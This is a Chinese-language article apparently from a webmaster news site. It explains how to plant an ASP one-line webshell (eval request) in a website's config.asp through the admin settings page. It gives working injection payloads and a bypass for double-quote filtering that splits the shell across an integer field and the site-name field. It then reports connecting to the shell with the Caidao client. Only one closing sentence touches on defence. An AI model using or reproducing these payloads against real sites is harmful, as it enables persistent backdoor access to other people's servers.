一般而言,后臺插一句話,如果數據庫擴展名是asp的話,那么插數據庫,但是如果有配置文件可以插的話,那肯定是插入配置文件了,但是插入配置文件有一個很大的風險,那就是一旦出錯那么全盤皆輸,有可能不僅僅造成后臺無法登陸,甚至有可能是整個網站系統崩潰,所以插入配置文件,請慎之又慎。 話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個文件的一般情況。 網站的配置一般是保存網站名,地址,email之類的,既然是字符,那么格式應當是 webname=“test website” 對于這樣的配置插入一句話的話,我們的機會就是替換test website,那么需要閉合2個",同時要插入一句話,語句可以這樣 "%><%eval request("d"%><%s=" 那么在config.asp中就是 webname=“ "%><%eval request("d"%><%s=" ” 第一個"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現在要閉合原來的"和%> 所以加入<%s=",這里特別要注意“s=”,如果沒有這個等號的話,那么就會成<%" ",這樣必將出錯。 好了,這是常規的辦法,現在我們回到開始那個問題,按照前面的方法插入 ![]() 插入后,我們再點擊“網站設置” ,出現錯誤 ![]() 從這個錯誤,我們可以得到2個信息。 第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp 第二,網站名的變量為webname。 昨天由于很晚了,就沒繼續看,今天出差,晚上回來剛剛上Q,小刀刀就q我,說拿下了,并說這個后臺過濾了雙引號",結合昨天的錯誤一看果然是,由于我們閉合前面雙引號起"的那個雙引號收"被過濾成單引號',所以就成了webname=" ',這樣的話那么這個雙引號沒有閉合,由于雙引號是vbscript的控制符,沒有閉合config.asp運行必然出錯。那么我們遇到這種雙引號被過濾了的情況改怎么辦呢。 由于插入一句話必須要用雙引號括起來,而輸入雙引號又被過濾,所以我們可以利用他們自身的雙引號來解決。 在配置文件中,我們還可以看到這樣一些設置 ![]() 就是配置網站的公告數 ,文章數等。可以假設一下,他必然是整數賦值,沒有雙引號包括 num=5 num是整數型,不然就成字符了num="5" 那么我們的一句話就可以這樣構建,如圖 ![]() 在公告數中我們插入5%><%eval request(webname)%><% 必須要有5,不然將會出錯,在網站名中我們插入"open" 由于我們沒有輸入雙引號,不存在過濾,我們利用 配置文件本身的雙引號來達到目的。那么配置文件現在的內容如下 <% .................... webname="open" num=5%><%eval request(webname)%><% webnum=7 ....... %> 我們的一句話就相應為 eval request("open"),open為密碼。 用菜刀成功連接 ![]() 從上可見,我們成功利用配置文件本身避開了一句話中雙引號被過濾的問題。 那么在網頁設計方面,我們可以增加過濾<,%,>或者組合<%,%>這些特殊符號,禁止這些符號的輸入,那么將大大增加網頁安全。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信